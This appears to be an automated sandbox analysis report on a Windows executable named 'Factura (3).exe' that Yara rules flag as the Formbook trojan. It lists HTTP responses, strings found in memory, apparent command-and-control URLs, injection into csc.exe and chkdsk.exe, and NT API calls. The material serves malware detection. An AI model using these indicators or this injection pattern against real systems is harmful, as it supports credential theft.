Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 16 May 2024 15:21:14 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 544Connection: closex-backend: web4X-Frontend: frontend1X-Trace-Id: ti_90d904d2c1f6786a7c2c3ed3ae7772ddData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 4e 6f 20 70 61 67 65 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 73 74 6d 61 69 6c 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 66 69 6c 65 73 74 6f 72 61 67 65 2f 63 73 73 2f 6d 61 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 6e 61 6d 65 3d 22 54 6f 70 22 3e 3c 2f 61 3e 0a 3c 68 31 3e 4e 6f 20 70 61 67 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 57 65 20 63 6f 75 6c 64 6e 27 74 20 66 69 6e 64 20 61 20 70 61 67 65 20 66 6f 72 20 74 68 65 20 6c 69 6e 6b 20 79 6f 75 20 76 69 73 69 74 65 64 2e 20 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 79 6f 75 20 68 61 76 65 20 74 68 65 20 63 6f 72 72 65 63 74 20 6c 69 6e 6b 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a 3c 70 3e 49 66 20 79 6f 75 20 61 72 65 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 69 73 20 64 6f 6d 61 69 6e 2c 20 79 6f 75 20 63 61 6e 20 73 65 74 75 70 20 61 20 70 61 67 65 20 68 65 72 65 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 73 74 6d 61 69 6c 2e 68 65 6c 70 2f 68 63 2f 65 6e 2d 75 73 2f 61 72 74 69 63 6c 65 73 2f 31 35 30 30 30 30 30 32 38 30 31 34 31 22 3e 63 72 65 61 74 69 6e 67 20 61 20 70 61 67 65 2f 77 65 62 73 69 74 65 20 69 6e 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html><head><title>No page found</title><link rel="stylesheet" type="text/css" href="https://www.fastmailusercontent.com/filestorage/css/main.css" /></head><body><a name="Top"></a><h1>No page found</h1><p>We couldn't find a page for the link you visited. Please check that you have the correct link and try again.</p><p>If you are the owner of this domain, you can setup a page here by <a href="https://www.fastmail.help/hc/en-us/articles/1500000280141">creating a page/website in your account</a>.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 18Content-Type: text/plainDate: Thu, 16 May 2024 15:21:20 GMTServer: CaddyConnection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 18Content-Type: text/plainDate: Thu, 16 May 2024 15:21:23 GMTServer: CaddyConnection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 18Content-Type: text/plainDate: Thu, 16 May 2024 15:21:26 GMTServer: CaddyConnection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found

Source: powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000009.00000002.1563610198.000001CE11DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000009.00000002.1563610198.000001CE11B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Amcache.hve.17.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 00000009.00000002.1563610198.000001CE11DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3767966509.00000000056FF000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.zwervertjes.be
Source: KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3767966509.00000000056FF000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.zwervertjes.be/mcz6/
Source: chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000009.00000002.1563610198.000001CE11B91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000009.00000002.1563610198.000001CE11DB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: chkdsk.exe, 00000017.00000002.3764249613.0000000004F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: chkdsk.exe, 00000017.00000002.3764249613.0000000004F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: chkdsk.exe, 00000017.00000003.1751331021.0000000009963000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: chkdsk.exe, 00000017.00000002.3764249613.0000000004F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: chkdsk.exe, 00000017.00000002.3764249613.0000000004F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: chkdsk.exe, 00000017.00000002.3764249613.0000000004F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: chkdsk.exe, 00000017.00000002.3764249613.0000000004F75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: powershell.exe, 00000009.00000002.1592655805.000001CE21C06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chkdsk.exe, 00000017.00000002.3766720594.00000000060E8000.00000004.10000000.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.0000000003968000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.allinone24.shop/mcz6/?-xl=hBllB6kp4D1dBFK&1Joh=iV05GdjlKKe2FocmpbDy7295TkLfoCrmYroAP0qP2
Source: chkdsk.exe, 00000017.00000002.3768673482.0000000009A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chkdsk.exe, 00000017.00000002.3766720594.0000000006D78000.00000004.10000000.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.fastmail.help/hc/en-us/articles/1500000280141
Source: chkdsk.exe, 00000017.00000002.3766720594.0000000006D78000.00000004.10000000.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.00000000045F8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.fastmailusercontent.com/filestorage/css/main.css
Source: chkdsk.exe, 00000017.00000002.3768491954.0000000007F10000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000017.00000002.3766720594.000000000722E000.00000004.10000000.00040000.00000000.sdmp, KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.0000000004AAE000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: KAnMKAQhHABqpRuDRpLtww.exe, 00000018.00000002.3766204817.0000000003C8C000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.strato.de

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.3762446362.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1567061985.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3763198467.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3767966509.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1567476017.0000000004EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3763434495.0000000004CA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3765581887.00000000059F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1574530292.0000000007EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 14.2.csc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 14.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000017.00000002.3762446362.0000000000750000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.1567061985.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000017.00000002.3763198467.0000000004C60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000018.00000002.3767966509.0000000005690000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.1567476017.0000000004EA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000017.00000002.3763434495.0000000004CA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000014.00000002.3765581887.00000000059F0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000E.00000002.1574530292.0000000007EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Very long command line found

Source: C:\Users\user\Desktop\Factura (3).exe	Process created: Commandline size = 4239
Source: C:\Users\user\Desktop\Factura (3).exe	Process created: Commandline size = 4239			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_0042B113 NtClose,	14_2_0042B113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E35C0 NtCreateMutant,LdrInitializeThunk,	14_2_053E35C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2DF0 NtQuerySystemInformation,LdrInitializeThunk,	14_2_053E2DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2C70 NtFreeVirtualMemory,LdrInitializeThunk,	14_2_053E2C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2B60 NtClose,LdrInitializeThunk,	14_2_053E2B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E4650 NtSuspendThread,	14_2_053E4650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E3010 NtOpenDirectoryObject,	14_2_053E3010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E3090 NtSetValueKey,	14_2_053E3090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E4340 NtSetContextThread,	14_2_053E4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2D30 NtUnmapViewOfSection,	14_2_053E2D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2D10 NtMapViewOfSection,	14_2_053E2D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E3D10 NtOpenProcessToken,	14_2_053E3D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2D00 NtSetInformationFile,	14_2_053E2D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E3D70 NtOpenThread,	14_2_053E3D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2DB0 NtEnumerateKey,	14_2_053E2DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2DD0 NtDelayExecution,	14_2_053E2DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2C00 NtQueryInformationProcess,	14_2_053E2C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2C60 NtCreateKey,	14_2_053E2C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2CA0 NtQueryInformationToken,	14_2_053E2CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2CF0 NtOpenProcess,	14_2_053E2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2CC0 NtQueryVirtualMemory,	14_2_053E2CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2F30 NtCreateSection,	14_2_053E2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2F60 NtCreateProcessEx,	14_2_053E2F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2FB0 NtResumeThread,	14_2_053E2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2FA0 NtQuerySection,	14_2_053E2FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2F90 NtProtectVirtualMemory,	14_2_053E2F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2FE0 NtCreateFile,	14_2_053E2FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2E30 NtWriteVirtualMemory,	14_2_053E2E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2EA0 NtAdjustPrivilegesToken,	14_2_053E2EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2E80 NtReadVirtualMemory,	14_2_053E2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2EE0 NtQueueApcThread,	14_2_053E2EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E39B0 NtGetContextThread,	14_2_053E39B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2BA0 NtEnumerateValueKey,	14_2_053E2BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2B80 NtQueryInformationFile,	14_2_053E2B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2BF0 NtAllocateVirtualMemory,	14_2_053E2BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2BE0 NtQueryValueKey,	14_2_053E2BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2AB0 NtWaitForSingleObject,	14_2_053E2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2AF0 NtWriteFile,	14_2_053E2AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_053E2AD0 NtReadFile,	14_2_053E2AD0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054235C0 NtCreateMutant,LdrInitializeThunk,	23_2_054235C0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05424650 NtSuspendThread,LdrInitializeThunk,	23_2_05424650
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05424340 NtSetContextThread,LdrInitializeThunk,	23_2_05424340
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422D10 NtMapViewOfSection,LdrInitializeThunk,	23_2_05422D10
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422D30 NtUnmapViewOfSection,LdrInitializeThunk,	23_2_05422D30
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422DD0 NtDelayExecution,LdrInitializeThunk,	23_2_05422DD0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422DF0 NtQuerySystemInformation,LdrInitializeThunk,	23_2_05422DF0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422C60 NtCreateKey,LdrInitializeThunk,	23_2_05422C60
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422C70 NtFreeVirtualMemory,LdrInitializeThunk,	23_2_05422C70
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422CA0 NtQueryInformationToken,LdrInitializeThunk,	23_2_05422CA0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422F30 NtCreateSection,LdrInitializeThunk,	23_2_05422F30
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422FE0 NtCreateFile,LdrInitializeThunk,	23_2_05422FE0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422FB0 NtResumeThread,LdrInitializeThunk,	23_2_05422FB0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422EE0 NtQueueApcThread,LdrInitializeThunk,	23_2_05422EE0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422E80 NtReadVirtualMemory,LdrInitializeThunk,	23_2_05422E80
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_054239B0 NtGetContextThread,LdrInitializeThunk,	23_2_054239B0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422B60 NtClose,LdrInitializeThunk,	23_2_05422B60
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422BE0 NtQueryValueKey,LdrInitializeThunk,	23_2_05422BE0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	23_2_05422BF0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422BA0 NtEnumerateValueKey,LdrInitializeThunk,	23_2_05422BA0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422AD0 NtReadFile,LdrInitializeThunk,	23_2_05422AD0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422AF0 NtWriteFile,LdrInitializeThunk,	23_2_05422AF0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05423010 NtOpenDirectoryObject,	23_2_05423010
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05423090 NtSetValueKey,	23_2_05423090
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05423D70 NtOpenThread,	23_2_05423D70
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422D00 NtSetInformationFile,	23_2_05422D00
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05423D10 NtOpenProcessToken,	23_2_05423D10
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422DB0 NtEnumerateKey,	23_2_05422DB0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422C00 NtQueryInformationProcess,	23_2_05422C00
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422CC0 NtQueryVirtualMemory,	23_2_05422CC0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422CF0 NtOpenProcess,	23_2_05422CF0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422F60 NtCreateProcessEx,	23_2_05422F60
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422F90 NtProtectVirtualMemory,	23_2_05422F90
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422FA0 NtQuerySection,	23_2_05422FA0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422E30 NtWriteVirtualMemory,	23_2_05422E30
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422EA0 NtAdjustPrivilegesToken,	23_2_05422EA0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422B80 NtQueryInformationFile,	23_2_05422B80
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_05422AB0 NtWaitForSingleObject,	23_2_05422AB0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00777450 NtCreateFile,	23_2_00777450
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_007775B0 NtReadFile,	23_2_007775B0
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00777690 NtDeleteFile,	23_2_00777690
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00777720 NtClose,	23_2_00777720
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 23_2_00777880 NtAllocateVirtualMemory,	23_2_00777880

Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF734106EA8	6_2_00007FF734106EA8
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F0554	6_2_00007FF7340F0554
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340FC53C	6_2_00007FF7340FC53C
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F2D5C	6_2_00007FF7340F2D5C
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F5D9C	6_2_00007FF7340F5D9C
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F0D9C	6_2_00007FF7340F0D9C
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340FE600	6_2_00007FF7340FE600
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F36A0	6_2_00007FF7340F36A0
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340FBEBC	6_2_00007FF7340FBEBC
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F4F04	6_2_00007FF7340F4F04
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F0758	6_2_00007FF7340F0758
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF73410680C	6_2_00007FF73410680C
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F2850	6_2_00007FF7340F2850
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7341031D8	6_2_00007FF7341031D8
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340FBA28	6_2_00007FF7340FBA28
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF734104A20	6_2_00007FF734104A20
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340FD2AC	6_2_00007FF7340FD2AC
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F12A8	6_2_00007FF7340F12A8
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340F0350	6_2_00007FF7340F0350
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF7340FFC58	6_2_00007FF7340FFC58
Source: C:\Users\user\Desktop\Factura (3).exe	Code function: 6_2_00007FF734101CC8	6_2_00007FF734101CC8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DBCE03	9_2_00007FF887DBCE03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DC5C10	9_2_00007FF887DC5C10
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DBDBB3	9_2_00007FF887DBDBB3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DC18A0	9_2_00007FF887DC18A0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DC8FE9	9_2_00007FF887DC8FE9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DC5E82	9_2_00007FF887DC5E82
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DC1E30	9_2_00007FF887DC1E30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DC1E30	9_2_00007FF887DC1E30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DC9471	9_2_00007FF887DC9471
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887DC19E0	9_2_00007FF887DC19E0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 9_2_00007FF887E83153	9_2_00007FF887E83153
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00401ABA	14_2_00401ABA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00401000	14_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_004028DD	14_2_004028DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_004028E0	14_2_004028E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 14_2_00403090	14_2_00403090
